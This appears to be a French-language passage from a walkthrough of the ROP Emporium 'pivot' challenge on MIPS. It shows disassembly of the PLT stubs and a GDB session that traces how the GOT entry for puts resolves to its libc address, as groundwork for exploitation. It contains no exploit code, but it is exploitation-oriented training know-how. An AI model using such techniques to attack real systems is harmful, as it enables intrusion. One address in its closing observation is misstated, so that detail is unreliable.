    │           0x00400e00      1080998f       lw t9, -0x7ff0(gp)          ; obj._GLOBAL_OFFSET_TABLE_
    │                                                                      ; [0x412020:4]=0 ; [14] -r-x section size 176 named .MIPS.stubs
    │           0x00400e04      2578e003       move t7, ra
    │           0x00400e08      09f82003       jalr t9
    └           0x00400e0c      1c001824       addiu t8, zero, 0x1c
                ;-- printf:
                ; UNKNOWN XREF from aav.0x004003ec @ +0x1a4
                ; CALL XREFS from sym.pwnme @ 0x400b48, 0x400b80, 0x400bf4
    ┌ 16: aav.0x00400e10 ();
    │           0x00400e10      1080998f       lw t9, -0x7ff0(gp)          ; obj._GLOBAL_OFFSET_TABLE_
    │                                                                      ; [0x412020:4]=0
    │           0x00400e14      2578e003       move t7, ra
    │           0x00400e18      09f82003       jalr t9
    └           0x00400e1c      1a001824       addiu t8, zero, 0x1a
                ;-- free:
                ; UNKNOWN XREF from aav.0x004003ec @ +0x194
                ; CALL XREF from main @ 0x400a90
    ┌ 16: aav.0x00400e20 ();
    │           0x00400e20      1080998f       lw t9, -0x7ff0(gp)          ; obj._GLOBAL_OFFSET_TABLE_
    │                                                                      ; [0x412020:4]=0
    │           0x00400e24      2578e003       move t7, ra
    │           0x00400e28      09f82003       jalr t9
    └           0x00400e2c      19001824       addiu t8, zero, 0x19
                ;-- malloc:
                ; UNKNOWN XREF from aav.0x004003ec @ +0x184
                ; CALL XREF from main @ 0x400a10
    ┌ 16: aav.0x00400e30 ();
    │           0x00400e30      1080998f       lw t9, -0x7ff0(gp)          ; obj._GLOBAL_OFFSET_TABLE_
    │                                                                      ; [0x412020:4]=0
    │           0x00400e34      2578e003       move t7, ra
    │           0x00400e38      09f82003       jalr t9
    └           0x00400e3c      18001824       addiu t8, zero, 0x18
                ;-- puts:
                ; XREFS: UNKNOWN 0x00400560  CALL 0x004009d8  CALL 0x004009f4  CALL 0x00400a3c  CALL 0x00400aac  CALL 0x00400b28  
                ; XREFS: CALL 0x00400b64  CALL 0x00400bbc  CALL 0x00400bd8  CALL 0x00400c34  
    ┌ 16: aav.0x00400e40 ();
    │           0x00400e40      1080998f       lw t9, -0x7ff0(gp)          ; obj._GLOBAL_OFFSET_TABLE_
    │                                                                      ; [0x412020:4]=0
    │           0x00400e44      2578e003       move t7, ra
    │           0x00400e48      09f82003       jalr t9
    └           0x00400e4c      17001824       addiu t8, zero, 0x17
                ;-- exit:
                ; UNKNOWN XREF from aav.0x004003ec @ +0x154
                ; CALL XREF from main @ 0x400a54
                ; CALL XREF from sym.uselessFunction @ 0x400c98
    ┌ 16: aav.0x00400e50 ();
    │           0x00400e50      1080998f       lw t9, -0x7ff0(gp)          ; obj._GLOBAL_OFFSET_TABLE_
    │                                                                      ; [0x412020:4]=0
    │           0x00400e54      2578e003       move t7, ra
    │           0x00400e58      09f82003       jalr t9
    └           0x00400e5c      15001824       addiu t8, zero, 0x15
            ;-- foothold_function:
            ; UNKNOWN XREF from aav.0x004003ec @ +0x144
            ; CALL XREF from sym.uselessFunction @ 0x400c80
    ┌ 16: aav.0x00400e60 ();
    │           0x00400e60      1080998f       lw t9, -0x7ff0(gp)          ; obj._GLOBAL_OFFSET_TABLE_
    │                                                                      ; [0x412020:4]=0
    │           0x00400e64      2578e003       move t7, ra
    │           0x00400e68      09f82003       jalr t9
    └           0x00400e6c      14001824       addiu t8, zero, 0x14

Pour foothold_function on a

lw t9, -0x7ff0(gp) ; Chargement de l'adresse de la première entrée de la GOT.
move t7, ra        ; sauvegarde de la valeur courante du registre d'adresse de retour `ra`
jalr t9            ; appel le l'adresse lue dans la got
addiu t8, zero, 0x14 ; simultanément affect $t8=14 (no de la fonction) à 'usage de la fonction de résolution appellée la première fois

Observation de la resolution d’adresse de puts dans main Dans main on a un appel de puts. C’est l’occasion d’observer la modification de la GOT par l’entrée PLT

│ 0x004009d8 09f82003 jalr t9 │ 0x004009dc 00000000 nop │ 0x004009e0 1000dc8f lw gp, (var_10h) │ 0x004009e4 4000023c lui v0, 0x40 ; ‘@’ │ 0x004009e8 280f4424 addiu a0, v0, 0xf28 ; 0x400f28 ; “MIPS\n” ; argc ; str.MIPS_n │ 0x004009ec 5c80828f lw v0, -sym.imp.puts(gp) ; [0x41206c:4]=0x400e40 sym.imp.puts ; “@\x0e@” │ 0x004009f0 25c84000 move t9, v0 │ 0x004009f4 09f82003 jalr t9

ON s’arrête su le premier appel de puts dans main

    0x4009cc <main+76>        addiu  a0, v0, 3856
    0x4009d0 <main+80>        lw     v0, -32676(gp)
    0x4009d4 <main+84>        move   t9, v0
→  0x4009d8 <main+88>        jalr   t9
    0x4009dc <main+92>        nop    
    0x4009e0 <main+96>        lw     gp, 16(s8)
    0x4009e4 <main+100>       lui    v0, 0x40
    0x4009e8 <main+104>       addiu  a0, v0, 3880
    0x4009ec <main+108>       lw     v0, -32676(gp)


gef➤  i r t9 a0
t9: 0x400e40
a0: 0x400f10
gef➤  x/s $a0
0x400f10:	"pivot by ROP Emporium"

0x400e40 est l’entrée de puts dans la PLT

On entre dans l’entrée de la PLT si → 0x400e40 <puts+0> lw t9, -32752(gp) 0x400e44 <puts+4> move t7, ra 0x400e48 <puts+8> jalr t9 0x400e4c <puts+12> li t8, 23 0x400e50 <exit+0> lw t9, -32752(gp) 0x400e54 <exit+4> move t7, ra

ni
     0x400e40 <puts+0>         lw     t9, -32752(gp)

→ 0x400e44 <puts+4> move t7, ra 0x400e48 <puts+8> jalr t9 0x400e4c <puts+12> li t8, 23 0x400e50 <exit+0> lw t9, -32752(gp) 0x400e54 <exit+4> move t7, ra 0x400e58 <exit+8> jalr t9

On a t9: 0x3ffd4530

Cette adresse est contenue dans le premier mot de la got

La GOT est a cette adresse (info file)

0x00412020 - 0x00412084 is .got

Etat de la got a ce moment :

gef➤  x/28xw 0x00412020
0x412020:	0x3ffd4530	0xbffbc000	0x00400980	0x00400cf0
0x412030:	0x00400d94	0x00400000	0x00400758	0x00411ff0
0x412040:	0x00000000	0x00000000	0x00000000	0x00000000
0x412050:	0x3ff80d7c	0x00400e90	0x3fe23180	0x3fdd09ec
0x412060:	0x00400e60	0x00400e50	0x00000000	0x00400e40
0x412070:	0x00400e30	0x00400e20	0x00400e10	0x00000000
0x412080:	0x00400e00	0x00000000	0x00000000	0x00000000

On pose un point d’arrêt après le puts (main+144)

gef➤  x/28xw 0x00412020
0x412020:	0x3ffd4530	0xbffbc000	0x00400980	0x00400cf0
0x412030:	0x00400d94	0x00400000	0x00400758	0x00411ff0
0x412040:	0x00000000	0x00000000	0x00000000	0x00000000
0x412050:	0x3ff80d7c	0x00400e90	0x3fe23180	0x3fdd09ec
0x412060:	0x00400e60	0x00400e50	0x00000000 *0x3fe22600*
0x412070:	0x00400e30	0x00400e20	0x00400e10	0x00000000
0x412080:	0x00400e00	0x00000000	0x00000000	0x00000000

On constate la modification de l’enteée 0x412040 de la GOT avec l’adresse de puts dans la libc.